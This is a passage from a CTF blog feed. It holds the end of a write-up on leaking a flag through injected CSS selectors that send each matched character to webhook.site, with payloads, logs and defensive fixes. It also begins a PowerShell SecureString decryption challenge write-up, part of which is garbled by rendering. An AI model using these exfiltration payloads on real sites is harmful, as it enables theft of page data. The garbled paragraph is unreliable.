</span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>145</div></div><div><span>            </span><span>break</span></div></div><div><div><div>146</div></div><div>
</div></div><div><div><div>147</div></div><div>
</div></div><div><div><div>148</div></div><div><span>if</span><span> </span><span>__name__</span><span><span> </span><span>==</span><span> </span></span><span>"__main__"</span><span>:</span></div></div><div><div><div>149</div></div><div><span><span>    </span></span><span>main</span><span>()</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><section><h3>遇到的崩溃原因<a href="#遇到的崩溃原因"><span>#</span></a></h3><p></p><figure><img src="/images/uploads/20260923-163709-eb22f8.png" alt="2026-09-23_16-09-57.png" /><figcaption>2026-09-23_16-09-57.png</figcaption></figure><p></p><ol>
<li>抓取接口是”异步点火”，每次抓取 = 启动一个无头 Chrome
POST /crawl.html → 0.2~0.4 秒就回 “Crawling”      ← 接口立即返回
3 秒后浏览器才真正去拉样式表                      ← 说明是后台异步启动
Chromium</li>
</ol><p>Chrome 进程很吃内存，靶机容器规格又小。</p><ol>
<li>连发就会把容器打爆，而且接口还假装正常
我做了一组对照：间隔 0.2 秒连发 2 次 → 两次都正常执行（t+3.0s、t+3.9s）；
改成连发 4 次 → 容器直接没了，之后的现象是：</li>
</ol><p>POST /crawl.html  -&gt;  200 “Crawling”     ← 接口照样秒回，骗你以为还好
120 秒内 0 次样式表拉取                  ← 爬虫其实已经死了，请求全堆积
再等一会 -&gt; 端口 000（连接被拒）          ← 只能杀掉重启</p><ol>
<li>脚本里推高频率的地方
for attempt in range(4):        # 一个字符最多抓 4 次
exfil.set_css(css)
crawl(…)                  # 失败后立刻再抓，中间没有任何等待</li>
</ol><p>一轮失败就连发，44 个字符累积下来，无头浏览器进程叠加 → 容器崩。我第一次
能跑通，是因为当时抓取天然间隔 10~25 秒，从没重叠。</p><ul>
<li><strong>放心，脚本解决了这个问题，只是速度慢</strong>
<figure><img src="/images/uploads/20260923-165315-40e391.png" alt="2026-09-23_16-52-48.png" /><figcaption>2026-09-23_16-52-48.png</figcaption></figure></li>
</ul></section><section><h3>8.1 逐段说明<a href="#81-逐段说明"><span>#</span></a></h3><ul>
<li><strong><code>build_css</code></strong>：把 <code>prefix</code>（已知部分）和每个候选字符拼成一个前缀选择器，
例如已知 <code>NSSCTF{dd529c21-399e-4</code>、候选 <code>e</code>，就生成
<code>input[type=hidden][value^="NSSCTF{dd529c21-399e-4e"]~input[type=submit]{...}</code>。</li>
<li><strong><code>esc()</code></strong>：用 CSS 十六进制转义表示字符，好处是 <code>"</code>、<code>\</code>、<code>\n</code> 这类字符也能安全写入选择器字符串。</li>
<li><strong><code>hits</code></strong>：这一轮我们收到的 <code>/g/&lt;step&gt;/xxx</code> 标记集合。正常情况下只有一个元素。</li>
<li><strong><code>loaded</code></strong>：标志位，表示”这一轮的样式表确实被下载过”。
如果 <code>loaded=False</code> 且没有任何命中，说明<strong>爬虫根本没跑</strong>（而不是”没猜中”），
这时换 token 再试——这是排查第 10.3 节那个坑的关键。</li>
<li><strong><code>if "hb" in hits</code></strong>：心跳只会在”一条候选都没命中”时生效，
所以它出现就说明<strong>flag 已经结束</strong>（或者下一位是不在字符集里的字符）。</li>
</ul><hr /></section></section>
<section><h2>9. 运行日志与结果校验<a href="#9-运行日志与结果校验"><span>#</span></a></h2><section><h3>9.1 关键运行日志（节选）<a href="#91-关键运行日志节选"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[token] 97dfa64a-1194-41c2-8df7-fa06a13d7435</span></div></div><div><div><div>2</div></div><div><span>resume prefix: 'NSSCTF{dd529c21-399e-4'</span></div></div><div><div><div>3</div></div><div><span>[22] NSSCTF{dd529c21-399e-4e</span></div></div><div><div><div>4</div></div><div><span>[23] NSSCTF{dd529c21-399e-4eb</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>step 24 attempt 0: loaded=False hits=set()</span></div></div><div><div><div>6</div></div><div><span>[token] 0ccdb1a7-c10d-4f6f-8566-587abc3196d8</span></div></div><div><div><div>7</div></div><div><span>[24] NSSCTF{dd529c21-399e-4eb2</span></div></div><div><div><div>8</div></div><div><span>[25] NSSCTF{dd529c21-399e-4eb2-</span></div></div><div><div><div>9</div></div><div><span>[26] NSSCTF{dd529c21-399e-4eb2-8</span></div></div><div><div><div>10</div></div><div><span>...</span></div></div><div><div><div>11</div></div><div><span>[42] NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce</span></div></div><div><div><div>12</div></div><div><span>[43] NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}</span></div></div><div><div><div>13</div></div><div><span>FLAG: NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>（<code>loaded=False</code> 的几行就是 token 配额用满的时刻，脚本自动换了新 token 继续。）</p></section><section><h3>9.2 为什么又多跑了第 44 位<a href="#92-为什么又多跑了第-44-位"><span>#</span></a></h3><p>收到 <code>}</code> 之后我做了个”全等校验”，结果发现一件事：<code>[value="完整flag"]</code> <strong>不命中</strong>。
说明属性值在 <code>}</code> 后面还有东西。继续爆破第 44 位，得到的是<strong>换行符 <code>\n</code></strong>。
对应到 flag.html 的源码，它的 <code>value</code> 很可能是跨行写的，比如：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>input</span><span> </span><span>name</span><span>=</span><span>"flag"</span><span> </span><span>type</span><span>=</span><span>"hidden"</span><span> </span><span>value</span><span>=</span><span>"NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}</span></div></div><div><div><div>2</div></div><div><span>"</span><span>/&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>HTML 会把这个换行原样保存在属性值里，所以选择器要用 <code>[value="flag{...}\a "]</code>
（<code>\a</code> 就是换行的 CSS 转义）才能全等匹配。</p></section><section><h3>9.3 最终校验<a href="#93-最终校验"><span>#</span></a></h3><p>一次性发三条规则（<strong>注意顺序</strong>）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/* 1) 对照组：不带换行，应该不命中 */</span></div></div><div><div><div>2</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>=</span><span>"NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}"</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>background-image:</span><span>url</span><span><span>(</span><span>https://webhook.site/&lt;uuid&gt;/g/CTRL-no-newline</span><span>) }</span></span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>/* 2) 待验证：结尾带一个换行 */</span></div></div><div><div><div>6</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>=</span><span>"NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}</span><span>\a</span><span> "</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>background-image:</span><span>url</span><span><span>(</span><span>https://webhook.site/&lt;uuid&gt;/g/EXACT-with-newline</span><span>) }</span></span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>/* 3) 心跳，兜底 */</span></div></div><div><div><div>10</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>background-image:</span><span>url</span><span><span>(</span><span>https://webhook.site/&lt;uuid&gt;/g/HB</span><span>) }</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>日志：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>.../g/EXACT-with-newline</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>只有”带换行”的那条命中，说明属性值就是 <strong>flag + 一个换行</strong>，flag 本体确认无误：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>10. 踩过的坑（很重要）<a href="#10-踩过的坑很重要"><span>#</span></a></h2><section><h3>10.1 <code>data:</code> URL 直接内联 CSS 被浏览器拦掉<a href="#101-data-url-直接内联-css-被浏览器拦掉"><span>#</span></a></h3><p>想法：用 <code>?css=data:text/css,@import url(https://my.host/x);</code> 省掉托管。
实测<strong>没有任何回调</strong>。原因通常是浏览器对 <code>data:</code> 类型的样式表有安全限制（不同版本策略不同），
这条路在本题环境里走不通。</p><p><strong>对策</strong>：老老实实用一个能自定义内容的公网服务（webhook.site）托管 CSS。</p></section><section><h3>10.2 MIME 类型不对，样式表被静默忽略<a href="#102-mime-类型不对样式表被静默忽略"><span>#</span></a></h3><p>一开始我用 curl 的 <code>-d</code> 传 JSON，参数没生效，返回的 <code>default_content_type</code> 仍然是 <code>text/plain</code>。
<code>text/plain</code> 的响应会被浏览器以”非法的样式表 MIME”拒绝，表现为<strong>永远收不到任何回调</strong>。</p><p><strong>对策</strong>：确保 <code>Content-Type: text/css</code>，并在发布 payload 之后先自己 <code>curl -i</code> 一下确认返回头。</p><p>顺便一提，Windows PowerShell 里 <code>curl</code> 是 <code>Invoke-WebRequest</code> 的别名，
参数语法和多行 JSON 都会被搞乱——<strong>要用 <code>curl.exe</code></strong>。</p></section><section><h3>10.3 webhook.site 免费 token 有请求配额（本次最大的坑）<a href="#103-webhooksite-免费-token-有请求配额本次最大的坑"><span>#</span></a></h3><p>现象：爆破到第 22 位时，突然<strong>连心跳都没有了</strong>，连续三轮抓取完全没有日志。</p><p>排查过程：</p><ol>
<li>
<p>先确认爬虫是不是挂了 → 用最简单的 <code>body{background-image:url(.../ping)}</code> 试，仍然没日志；</p>
</li>
<li>
<p>直接 <code>curl</code> 一下 webhook 地址，返回：</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>HTTP/1.0 429 Too many requests</span></div></div><div><div><div>2</div></div><div><span>Error: Request limit exceeded. Sign up to unlock more requests.</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>原来是 token 的请求数用满了（免费额度很低，每轮要消耗”下载样式表 + 回显”两次请求）。</p>
</li>
</ol><p><strong>对策</strong>：脚本里加入自动换 token：每轮的时间戳标记对不上（样式表没被下载）就 <code>POST /token</code> 换一个新的。</p></section><section><h3>10.4 偶发丢回显<a href="#104-偶发丢回显"><span>#</span></a></h3><p>几次出现”这一轮什么都没收到”但下一轮又正常，属于靶机/网络抖动。</p><p><strong>对策</strong>：重试机制 + 每轮唯一轮次号（保证不会把上一轮的迟到回调算到这轮头上）。</p></section><section><h3>10.5 一次抓取只能拿一个字符，速度慢<a href="#105-一次抓取只能拿一个字符速度慢"><span>#</span></a></h3><p>每次抓取大约 10 秒左右（无头浏览器启动开销大），44 位大约跑 8~10 分钟。
这也是为什么”每次抓取把所有候选一次性列全”很重要——把 95 次尝试压缩成 1 次。</p><hr /></section></section>
<section><h2>11. 优化方向：能不能更快<a href="#11-优化方向能不能更快"><span>#</span></a></h2><section><h3>11.1 二分爆破可行吗？<a href="#111-二分爆破可行吗"><span>#</span></a></h3><p><strong>不划算。</strong> 二分查找每确定一个字符需要 <code>log2(95) ≈ 7</code> 次”条件判断”，
而每次条件判断都要<strong>重新派一次爬虫</strong>（约 10 秒）。也就是说 44 个字符要 300 多次抓取，
比现在（44 次）慢一个数量级。</p><p>判定型盲注真正要压缩的不是”试几个候选”，而是”<strong>每次抓取能拿回多少 bit</strong>”。
当前方案一次抓取就把”这一位是什么字符”（≈6.5 bit）拿到了，已经接近该方案的上限。</p></section><section><h3>11.2 真正有效的优化：一次抓取泄露多个位置<a href="#112-真正有效的优化一次抓取泄露多个位置"><span>#</span></a></h3><p>瓶颈在于”同一个元素、同一个属性只能有一个生效值”。但我们可以在<strong>同一个元素上使用多个会发请求的属性</strong>，
让每个属性负责一个位置的判断，例如：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/* 第 0 位放在 background-image 上 */</span></div></div><div><div><div>2</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>^=</span><span>"f"</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{ background-image: </span><span>url</span><span>(</span><span>".../p0_66"</span><span>) }</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>/* 第 1 位放在 border-image-source 上 —— 和上面互不干扰，可以同时生效 */</span></div></div><div><div><div>5</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>^=</span><span>"fl"</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{ border-image-source: </span><span>url</span><span>(</span><span>".../p1_6c"</span><span>) }</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>/* 第 2 位放在 list-style-image 上 */</span></div></div><div><div><div>8</div></div><div><span>input</span><span>[</span><span>type</span><span>=</span><span>hidden</span><span>][</span><span>value</span><span>^=</span><span>"fla"</span><span>] </span><span>~</span><span> </span><span>input</span><span>[</span><span>type</span><span>=</span><span>submit</span><span>]</span><span>{ list-style-image: </span><span>url</span><span>(</span><span>".../p2_61"</span><span>) }</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>再配合 <code>[value^=...] [value$=...]</code> 等不同条件，理论上一次抓取可以并行确定好几位。
不过要注意每个属性的候选集合仍然是”一次只能选一个”，实现复杂度会上升不少。</p></section><section><h3>11.3 还可以考虑的方向<a href="#113-还可以考虑的方向"><span>#</span></a></h3><ul>
<li>换用没有请求配额、带批量查询 API 的收集端（自建 VPS / requestbin 自部署）；</li>
<li>让爬虫复用同一个浏览器实例（如果靶机能接受多个 URL 参数）以减少启动开销；</li>
<li>用 <code>@font-face</code> + <code>unicode-range</code> 之类的技巧做”按字符批量判断”，但对属性值场景收益有限。</li>
</ul><hr /></section></section>
<section><h2>12. 防守方应该怎么修<a href="#12-防守方应该怎么修"><span>#</span></a></h2><p>这道题的错误在于：<strong>把用户可控输入直接拼进了 HTML 的 URL 属性里</strong>，而且 bot 带着敏感数据去访问带用户输入的页面。</p><p>正确做法：</p><ol>
<li>
<p><strong>不要拼参数</strong>。<code>css</code> 这个功能如果要保留，就用映射表（白名单 ID → 固定文件）：
<code>?theme=dark</code> 而不是 <code>?css=&lt;任意 URL&gt;</code>。</p>
</li>
<li>
<p>若必须接受 URL，做<strong>严格白名单</strong>（只允许自己域下的路径），并校验协议（只允许 <code>https</code>，禁止 <code>data:</code>、<code>javascript:</code>、<code>file:</code>）。</p>
</li>
<li>
<p>给 flag 页面加 <strong>CSP</strong>，例如：</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Content-Security-Policy: default-src 'none'; style-src 'self'; img-src 'self'</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>这样即使注入了外部样式表，浏览器也不会去请求攻击者的服务器。
（注意：只写 <code>style-src 'self'</code> 还不够，要同时限制 <code>img-src</code> 等”能发请求”的资源类型，
否则攻击者仍可用 <code>@import</code> 之外的方式外带。）</p>
</li>
<li>
<p>敏感数据不要放在<strong>能被选择器匹配到</strong>的地方。flag 本质上只需要在服务端展示给用户，
没必要渲染进 DOM；尤其不要放进属性值里。</p>
</li>
<li>
<p><strong>给爬虫做网络隔离</strong>：bot 出网走白名单代理，只允许必要域名，攻击者就拿不到回显通道了。</p>
</li>
<li>
<p>对爬虫接口做频率限制，避免攻击者用”逐位爆破 + 高频抓取”快速拖库。</p>
</li>
</ol><hr /></section>
<section><h2>13. 速查表<a href="#13-速查表"><span>#</span></a></h2><section><h3>13.1 本题用到的 CSS 语法<a href="#131-本题用到的-css-语法"><span>#</span></a></h3>

<table><thead><tr><th>语法</th><th>作用</th></tr></thead><tbody><tr><td><code>input[type=hidden]</code></td><td>选中所有隐藏输入框</td></tr><tr><td><code>[value^="abc"]</code></td><td>value 以 <code>abc</code> 开头</td></tr><tr><td><code>[value="abc"]</code></td><td>value 恰好等于 <code>abc</code></td></tr><tr><td><code>A ~ B</code></td><td>A 后面的兄弟元素 B</td></tr><tr><td><code>background-image: url(...)</code></td><td>设置背景图（会触发 HTTP 请求）</td></tr><tr><td><code>@import url(...)</code></td><td>引入另一份 CSS</td></tr><tr><td><code>\61 </code></td><td>CSS 转义，表示字符 <code>a</code>（十六进制 + 空格结束）</td></tr><tr><td><code>(0,3,2) &gt; (0,2,2)</code></td><td>优先级比较：属性选择器多的赢</td></tr></tbody></table></section><section><h3>13.2 本题用到的接口<a href="#132-本题用到的接口"><span>#</span></a></h3>

<table><thead><tr><th>接口</th><th>用途</th></tr></thead><tbody><tr><td><code>POST http://node4.anna.nssctf.cn:25698/crawl.html</code>，参数 <code>css</code></td><td>让靶机浏览器带着我们的 <code>css</code> 去访问内网 flag.html</td></tr><tr><td><code>POST https://webhook.site/token</code></td><td>创建收集用的 token</td></tr><tr><td><code>PUT https://webhook.site/token/&lt;uuid&gt;</code></td><td>设置默认响应（我们的 CSS 内容 + <code>text/css</code>）</td></tr><tr><td><code>GET https://webhook.site/token/&lt;uuid&gt;/requests</code></td><td>读取请求日志（回显）</td></tr></tbody></table></section><section><h3>13.3 整个攻击链图示<a href="#133-整个攻击链图示"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>   </span></span><span>我（攻击者）</span></div></div><div><div><div>2</div></div><div><span><span>     </span></span><span>│  1. PUT CSS 到 webhook.site（内容随轮次变化）</span></div></div><div><div><div>3</div></div><div><span><span>     </span></span><span>│  2. POST css=https://webhook.site/&lt;uuid&gt;/c&lt;轮次&gt;  →  /crawl.html</span></div></div><div><div><div>4</div></div><div><span><span>     </span></span><span>▼</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>靶机（127.0.0.1:60000 内网服务 + 无头浏览器）</span></div></div><div><div><div>6</div></div><div><span><span>     </span></span><span>│  3. 浏览器访问 flag.html?css=https://webhook.site/&lt;uuid&gt;/c&lt;轮次&gt;，下载我们的 CSS</span></div></div><div><div><div>7</div></div><div><span><span>     </span></span><span>│  4. 执行 CSS：</span></div></div><div><div><div>8</div></div><div><span><span>     </span></span><span>│       - input[type=hidden][value^="已猜前缀+候选"] ~ input[type=submit]</span></div></div><div><div><div>9</div></div><div><span><span>     </span></span><span>│         → 命中则请求 https://webhook.site/&lt;uuid&gt;/g/&lt;轮次&gt;/&lt;候选hex&gt;</span></div></div><div><div><div>10</div></div><div><span><span>     </span></span><span>│       - 一条都没命中则请求 .../g/&lt;轮次&gt;/hb</span></div></div><div><div><div>11</div></div><div><span><span>     </span></span><span>▼</span></div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>webhook.site 记录请求日志</span></div></div><div><div><div>13</div></div><div><span><span>     </span></span><span>│  5. 我轮询日志，读出命中的候选字符，拼到前缀上，回到第 1 步</span></div></div><div><div><div>14</div></div><div><span><span>     </span></span><span>▼</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>44 次循环后得到：NSSCTF{xxxxxxxxxxxxxxxxx}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/dian-feng-ji-ke-2022-powerpower-powershellde-convertfrom-sec/</id>
      <title type="text">[巅峰极客 2022]powerpower powershell的ConvertFrom-SecureString</title>
      <published>2026-09-22T00:00:00.000Z</published>
      <updated>2026-09-22T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/dian-feng-ji-ke-2022-powerpower-powershellde-convertfrom-sec/"/>
      <summary type="text">ConvertFrom-SecureString -Key $key 使用 $key 作为 AES 密钥，把 SecureString 加密成一段普通加密字符串......</summary>
      <content type="html"><![CDATA[<section><h2>本题在线靶场地址<a href="#本题在线靶场地址"><span>#</span></a></h2><p><a href="https://www.nssctf.cn/problem/2515" target="_blank">https://www.nssctf.cn/problem/2515</a></p></section>
<section><h2>信息收集<a href="#信息收集"><span>#</span></a></h2><p>搜索ctf，发现[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\SystemShared]路径下有base64编码
</p><figure><img src="/images/uploads/20260922-191440-12daaa.png" alt="2026-09-22_19-04-37.png" /><figcaption>2026-09-22_19-04-37.png</figcaption></figure>
<figure><img src="/images/uploads/20260922-191522-8266ed.png" alt="2026-09-22_19-06-14.png" /><figcaption>2026-09-22_19-06-14.png</figcaption></figure><p></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span><span>JFNlY3JldCA9ICd4eHh4eHh4eHh4eHh4eHgnCiRQYXNzcGhyYXNlID0gKEdldC1JdGVtUHJvcGVydHkgLVBhdGggYWFhYTpcU09GVFdBUkVcTWljcm9zb2Z0XEJpZEludGVyZmFjZSkKCiRrZXkgPSBbQnl0ZVtdXSgkUGFzc3BocmFzZS5QYWRSaWdodCgyNCkuU3Vic3RyaW5nKDAsMjQpLlRvQ2hhckFycmF5KCkpCgokU2VjcmV0IHwKICBDb252ZXJ0VG8tU2VjdXJlU3RyaW5nIC1Bc1BsYWluVGV4dCAtRm9yY2UgfCAKICBDb252ZXJ0RnJvbS1TZWN1cmVTdHJpbmcgLUtleSAka2V5IHwgCgo</span><span>=</span></span></div></div><div><div><div>2</div></div><div><span><span>-</span><span>&gt;</span></span><span>from</span><span> base64</span></div></div><div><div><div>3</div></div><div><span>$Secret</span><span><span> </span><span>=</span><span> </span></span><span>'xxxxxxxxxxxxxxx'</span></div></div><div><div><div>4</div></div><div><span>$Passphrase</span><span><span> </span><span>=</span><span> (</span></span><span>Get-ItemProperty</span><span><span> </span><span>-</span><span>Path aaaa:\SOFTWARE\Microsoft\BidInterface)</span></span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>$key</span><span><span> </span><span>=</span><span> [</span></span><span>Byte</span><span>[]](</span><span>$Passphrase.PadRight</span><span>(</span><span>24</span><span>).Substring(</span><span>0</span><span>,</span><span>24</span><span>).ToCharArray())</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>$Secret</span><span> |</span></div></div><div><div><div>9</div></div><div><span>  </span><span>ConvertTo-SecureString</span><span><span> </span><span>-</span><span>AsPlainText </span><span>-</span><span>Force |</span></span></div></div><div><div><div>10</div></div><div><span>  </span><span>ConvertFrom-SecureString</span><span><span> </span><span>-</span><span>Key </span></span><span>$key</span><span> |</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\BidInterface]
</p><figure><img src="/images/uploads/20260922-191732-662164.png" alt="2026-09-22_19-17-12.png" /><figcaption>2026-09-22_19-17-12.png</figcaption></figure><p></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>"F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B073</span></div></div><div><div><div>2</div></div><div><span>17000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39"</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>代码审计<a href="#代码审计"><span>#</span></a></h2><ul>
<li>作用可以概括为：
从注册表/某个 PowerShell 驱动器里取出一个口令，用它生成一个 24 字节的 AES 密钥，然后把明文 $Secret 加密成一段可保存的加密字符串。</li>
<li>逐行解释：</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$Secret = 'xxxxxxxxxxxxxxx'</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>定义要保护的明文内容，例如密码、密钥、令牌等。这里 xxxxxxxxxxxxxxx 只是占位符。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$Passphrase = (Get-ItemProperty -Path aaaa:\SOFTWARE\Microsoft\BidInterface)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>从某个路径读取数据。aaaa:\ 很可能是脱敏写法。
Get-ItemProperty 常用于读注册表项。注意：它通常返回一个对象，而不是直接返回字符串。所以后面直接 $Passphrase.PadRight(…) 很可能报错，除非这里实际取的是某个字符串属性，或者代码省略了 .属性名。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$key = [Byte[]]($Passphrase.PadRight(24).Substring(0,24).ToCharArray())</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>把 <span><span>Passphrase处理成24个字节的密钥：1.PadRight(24)：如果口令不足24个字符，就在右边补空格到24个字符。2.Substring(0,24)：只取前24个字符。如果超过24个字符，后面的会被截断。3.ToCharArray()：转成字符数组。4.\[Byte\[]]：再强制转换成字节数组。所以Passphrase 处理成 24 个字节的密钥：
    1. PadRight(24)：如果口令不足 24 个字符，就在右边补空格到 24 个字符。
    2. Substring(0,24)：只取前 24 个字符。如果超过 24 个字符，后面的会被截断。
    3. ToCharArray()：转成字符数组。
    4. \[Byte\[]]：再强制转换成字节数组。
所以 </span><span><span><span></span><span>P</span><span>a</span><span>ss</span><span>p</span><span>h</span><span>r</span><span>a</span><span>se</span><span>处理成</span><span>24</span><span>个字节的密钥：</span><span>1.</span><span>P</span><span>a</span><span>d</span><span>R</span><span>i</span><span>g</span><span>h</span><span>t</span><span>(</span><span>24</span><span>)</span><span>：如果口令不足</span><span>24</span><span>个字符，就在右边补空格到</span><span>24</span><span>个字符。</span><span>2.</span><span>S</span><span>u</span><span>b</span><span>s</span><span>t</span><span>r</span><span>in</span><span>g</span><span>(</span><span>0</span><span>,</span><span></span><span>24</span><span>)</span><span>：只取前</span><span>24</span><span>个字符。如果超过</span><span>24</span><span>个字符，后面的会被截断。</span><span>3.</span><span>T</span><span>o</span><span>C</span><span>ha</span><span>r</span><span>A</span><span>r</span><span>r</span><span>a</span><span>y</span><span>(</span><span>)</span><span>：转成字符数组。</span><span>4.</span><span><span>\[</span></span><span>B</span><span>y</span><span>t</span><span>e</span><span><span>\[</span></span><span>]]</span><span>：再强制转换成字节数组。所以</span></span></span></span>key 是一个 24 字节的密钥。
ConvertFrom-SecureString -Key 支持的密钥长度通常是 16、24 或 32 字节，24 字节对应 AES-192。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$Secret |</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>ConvertTo-SecureString -AsPlainText -Force |</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>ConvertFrom-SecureString -Key $key |</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这部分是核心：
<span><span>Secret是明文。ConvertTo−SecureString−AsPlainText−Force把明文转换成SecureString。ConvertFrom−SecureString−KeySecret 是明文。
    ConvertTo-SecureString -AsPlainText -Force 把明文转换成 SecureString。
    ConvertFrom-SecureString -Key </span><span><span><span></span><span>S</span><span>ecr</span><span>e</span><span>t</span><span>是明文。</span><span>C</span><span>o</span><span>n</span><span>v</span><span>er</span><span>tT</span><span>o</span><span></span><span>−</span><span></span></span><span><span></span><span>S</span><span>ec</span><span>u</span><span>r</span><span>e</span><span>S</span><span>t</span><span>r</span><span>in</span><span>g</span><span></span><span>−</span><span></span></span><span><span></span><span>A</span><span>s</span><span>P</span><span>l</span><span>ain</span><span>T</span><span>e</span><span>x</span><span>t</span><span></span><span>−</span><span></span></span><span><span></span><span>F</span><span>or</span><span>ce</span><span>把明文转换成</span><span>S</span><span>ec</span><span>u</span><span>r</span><span>e</span><span>S</span><span>t</span><span>r</span><span>in</span><span>g</span><span>。</span><span>C</span><span>o</span><span>n</span><span>v</span><span>er</span><span>tF</span><span>r</span><span>o</span><span>m</span><span></span><span>−</span><span></span></span><span><span></span><span>S</span><span>ec</span><span>u</span><span>r</span><span>e</span><span>S</span><span>t</span><span>r</span><span>in</span><span>g</span><span></span><span>−</span><span></span></span><span><span></span><span>K</span><span>ey</span></span></span></span>key 使用 $key 作为 AES 密钥，把 SecureString 加密成一段普通加密字符串。
最后的 | 表示还有后续命令，比如可能被保存到文件或者赋值给变量，最终得到的是一个加密后的十六进制字符串</p></section>
<section><h2>EXP<a href="#exp"><span>#</span></a></h2><p>用python复现powershell的ConvertFrom-SecureString -Key解密方式</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import base64</span></div></div><div><div><div>2</div></div><div><span>from Crypto.Cipher import AES</span></div></div><div><div><div>3</div></div><div><span>from Crypto.Util.Padding import unpad</span></div></div><div><div><div>4</div></div><div>
